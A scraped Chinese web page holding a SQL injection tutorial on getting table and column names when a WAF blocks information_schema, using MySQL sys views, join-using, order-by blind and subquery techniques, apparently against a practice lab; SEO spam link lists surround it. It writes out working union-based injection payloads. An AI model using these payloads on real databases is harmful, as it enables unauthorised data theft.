当前位置: 首页 > news >正文

物流网站建设规划总结网站建设预付流程

物流网站建设规划总结,网站建设预付流程,网线制作心得体会,wordpress首页显示链接目录 一、information_schema库的作用 二、获得表名 2.1 sys.schema_auto_increment_columns 2.2 schema_table_statistics 三、获得列名 join … using … order by盲注 子查询 在进行sql注入时,我们经常会使用information_schema来进行爆数据库名、表名、…

目录

一、information_schema库的作用

二、获得表名

2.1 sys.schema_auto_increment_columns

2.2 schema_table_statistics

三、获得列名

join … using …

order by盲注

子查询


在进行sql注入时,我们经常会使用information_schema来进行爆数据库名、表名、字段名,但是当waf禁用掉这个库时,我们应该如何爆出数据呢?这个时候我们可能会思考有没有可以替代它的库呢?

一、information_schema库的作用

那么想要找到替代它的库,我们首先要知道information_schema库的作用是什么?

        它是一个系统数据库,存储了MySQL服务器中所有其他数据库的元数据信息。提供对数据库、表、列、索引等元数据的访问,帮助我们了解数据库结构。很幸运在mysql 5.7以后新增了schema_auto_increment_columns这个视图去保存所有表中含有自增字段的信息。不仅保存了库名、表名还保存了自增字段的列名

二、获得表名

 2.1 sys.schema_auto_increment_columns

 当我们利用database()函数获得数据库名之后,可以利用这个视图去获得表名和列名

select table_name,column_name from sys.schema_auto_increment_columns where table_schema = "security";

2.2 schema_table_statistics

而对于没有自增列的表名,这个视图是无法获取的。这个时候我们可以通过统计信息视图获得表名

schema_table_statistics_with_buffer
schema_table_statistics

select table_name from sys.schema_table_statistics_with_buffer where table_schema = "security";
select table_name from sys.schema_table_statistics where table_schema = "security";

三、获得列名

对于schema_auto_increment_columns获得了表名,那么列名呢?这里我们就需要用到无列名注入

join … using …

select * from users where id='0' union all select * from (select * from users as a join users as b)as c;
select * from users where id='0' union all select * from (select * from users as a join users as b using(id,username,password))as c;

order by盲注

order by用于根据指定的列对结果集进行排序。一般上是从0-9、a-z排序,不区分大小写。

order by盲注为何可以用于无列名注入呢?看个例子。

 select * from users where id='1' union select 1,2,'c' order by 3;
select * from users where id='1' union select 1,2,'d' order by 3; select * from users where id='1' union select 1,2,'e' order by 3; 

比如当我们需要猜解第三列的内容时,使用order by实例如下:

当猜测的值大于当前值时,会返回原来的数据即这里看第二列返回是否正常的username,否则会返回猜测的值。

子查询

子查询也能用于无列名注入,主要是结合union select联合查询构造列名再放到子查询中实现。

使用如下union联合查询,可以给当前整个查询的列分别赋予1、2、3的名字:

select 1,2,3 union select * from users; 

接着使用子查询就能指定查询刚刚赋予的列名对应的列内容了:

select `3` from (select 1,2,3 union select * from users);  

http://www.dtcms.com/a/493067.html

相关文章:

  • 济南学习网站制作杭州家装口碑比较好的公司
  • 建设部网站查询通报网站制作时间代码
  • 怎样做网站建设公司网站制作找哪家
  • 建设网站需要分析什么织梦怎么在本地编辑多个网站
  • 杭州做网站找力果机械设计平台
  • 中山网站建设网站河北网站备案系统
  • 企业网站建设的方案书宁波网站优化公司
  • 制作俄语网站mip 网站
  • 网站中文域名到期个人注册的网站可以做公司宣传用吗
  • 沪浙网站网络营销策划方案ppt
  • 江苏做网站公司wordpress即时
  • 如何找做网站的公司wordpress爱找主题
  • 网站个人主页怎么做建站快车打电话
  • 网站按钮设计成什么颜色原因网站可以做弹窗广告么
  • No商业网站建设软件汇
  • 做poster网站上海最新新闻事件今天国内
  • 客户网站分析全屏响应式网站建设
  • 网站工程师招聘江西博网科技发展有限公司
  • 做推广用那个网站吗自己做网站用花钱吗
  • 金华做企业网站公司山东省住房和城乡建设厅网站注册中心
  • 廊坊网站制作潍坊公司电话网站建设公司哪家最好
  • 什么叫做门户网站电商网站的推广方式
  • 网站的特点有那些怎么制作网站编辑页面
  • 如何用Word做网站单页做网站要考虑哪些因素
  • 百度网站首页网址东莞营销型网站哪家好
  • 手机网站可以做商城吗桂林人才网
  • 扬州做网站哪家好优化搜索关键词
  • 微信网站价格ae如何做视频模板下载网站
  • 恶意刷网站免费查企业电话网站
  • 网站建设行吗wordpress导航栏该怎么设置